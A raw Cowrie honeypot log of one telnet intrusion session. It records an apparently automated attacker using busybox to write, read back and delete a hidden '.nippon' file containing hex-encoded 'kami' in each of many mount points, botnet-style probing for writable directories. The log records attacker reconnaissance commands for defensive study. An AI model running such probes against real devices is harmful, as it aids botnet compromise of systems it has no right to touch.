2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/sys'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/proc'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /proc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /proc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /proc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /proc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /dev/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /dev/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /dev/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /dev/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/dev/pts'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /dev/pts/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /dev/pts/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /dev/pts/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /dev/pts/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/run'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /run/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /run/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /run/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /run/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon; /bin/busybox cat /sys/kernel/security/.nippon; /bin/busybox rm /sys/kernel/security/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/kernel/security/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/kernel/security/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/kernel/security/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/kernel/security/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/shm' > /dev/shm/.nippon; /bin/busybox cat /dev/shm/.nippon; /bin/busybox rm /dev/shm/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/shm' > /dev/shm/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/dev/shm'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /dev/shm/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /dev/shm/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /dev/shm/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /dev/shm/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon; /bin/busybox cat /run/lock/.nippon; /bin/busybox rm /run/lock/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/run/lock'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /run/lock/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /run/lock/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /run/lock/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /run/lock/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; /bin/busybox cat /sys/fs/cgroup/systemd/.nippon; /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/systemd/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/systemd/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/systemd/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon; /bin/busybox cat /sys/fs/pstore/.nippon; /bin/busybox rm /sys/fs/pstore/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/pstore/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/pstore/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/pstore/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/pstore/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpuset' > /sys/fs/cgroup/cpuset/.nippon; /bin/busybox cat /sys/fs/cgroup/cpuset/.nippon; /bin/busybox rm /sys/fs/cgroup/cpuset/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpuset' > /sys/fs/cgroup/cpuset/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/cpuset/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/cpuset/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/cpuset/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/cpuset/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpu,cpuacct' > /sys/fs/cgroup/cpu,cpuacct/.nippon; /bin/busybox cat /sys/fs/cgroup/cpu,cpuacct/.nippon; /bin/busybox rm /sys/fs/cgroup/cpu,cpuacct/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/cpu,cpuacct' > /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/cpu , cpuacct/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/devices' > /sys/fs/cgroup/devices/.nippon; /bin/busybox cat /sys/fs/cgroup/devices/.nippon; /bin/busybox rm /sys/fs/cgroup/devices/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/devices' > /sys/fs/cgroup/devices/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/devices/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/devices/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/devices/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/devices/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/freezer' > /sys/fs/cgroup/freezer/.nippon; /bin/busybox cat /sys/fs/cgroup/freezer/.nippon; /bin/busybox rm /sys/fs/cgroup/freezer/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/freezer' > /sys/fs/cgroup/freezer/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/freezer/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/freezer/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/freezer/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/freezer/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/net_cls,net_prio' > /sys/fs/cgroup/net_cls,net_prio/.nippon; /bin/busybox cat /sys/fs/cgroup/net_cls,net_prio/.nippon; /bin/busybox rm /sys/fs/cgroup/net_cls,net_prio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/net_cls,net_prio' > /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/net_cls , net_prio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/blkio' > /sys/fs/cgroup/blkio/.nippon; /bin/busybox cat /sys/fs/cgroup/blkio/.nippon; /bin/busybox rm /sys/fs/cgroup/blkio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/blkio' > /sys/fs/cgroup/blkio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/blkio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/blkio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/blkio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/blkio/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/perf_event' > /sys/fs/cgroup/perf_event/.nippon; /bin/busybox cat /sys/fs/cgroup/perf_event/.nippon; /bin/busybox rm /sys/fs/cgroup/perf_event/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/perf_event' > /sys/fs/cgroup/perf_event/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/cgroup/perf_event/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/cgroup/perf_event/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/cgroup/perf_event/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/cgroup/perf_event/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/mqueue' > /dev/mqueue/.nippon; /bin/busybox cat /dev/mqueue/.nippon; /bin/busybox rm /dev/mqueue/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/mqueue' > /dev/mqueue/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /dev/mqueue/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /dev/mqueue/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /dev/mqueue/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /dev/mqueue/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/hugepages' > /dev/hugepages/.nippon; /bin/busybox cat /dev/hugepages/.nippon; /bin/busybox rm /dev/hugepages/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/hugepages' > /dev/hugepages/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /dev/hugepages/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /dev/hugepages/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /dev/hugepages/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /dev/hugepages/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/kernel/debug/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/kernel/debug/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/kernel/debug/.nippon
2017-01-18T14:30:54+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/kernel/debug/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon; /bin/busybox cat /sys/fs/fuse/connections/.nippon; /bin/busybox rm /sys/fs/fuse/connections/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /sys/fs/fuse/connections/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /sys/fs/fuse/connections/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /sys/fs/fuse/connections/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /sys/fs/fuse/connections/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon; /bin/busybox cat /boot/.nippon; /bin/busybox rm /boot/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/boot'
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /boot/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /boot/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /boot/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /boot/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/home' > /home/.nippon; /bin/busybox cat /home/.nippon; /bin/busybox rm /home/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/home' > /home/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/home'
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /home/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /home/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /home/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /home/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000' > /run/user/1000/.nippon; /bin/busybox cat /run/user/1000/.nippon; /bin/busybox rm /run/user/1000/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000' > /run/user/1000/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /run/user/1000/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /run/user/1000/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox rm /run/user/1000/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: rm /run/user/1000/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: echo -e '\x6b\x61\x6d\x69/dev'
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: /bin/busybox cat /dev/.nippon
2017-01-18T14:30:55+0200 [CowrieTelnetTransport,5,103.13.221.51] Command found: cat /dev/.nippon
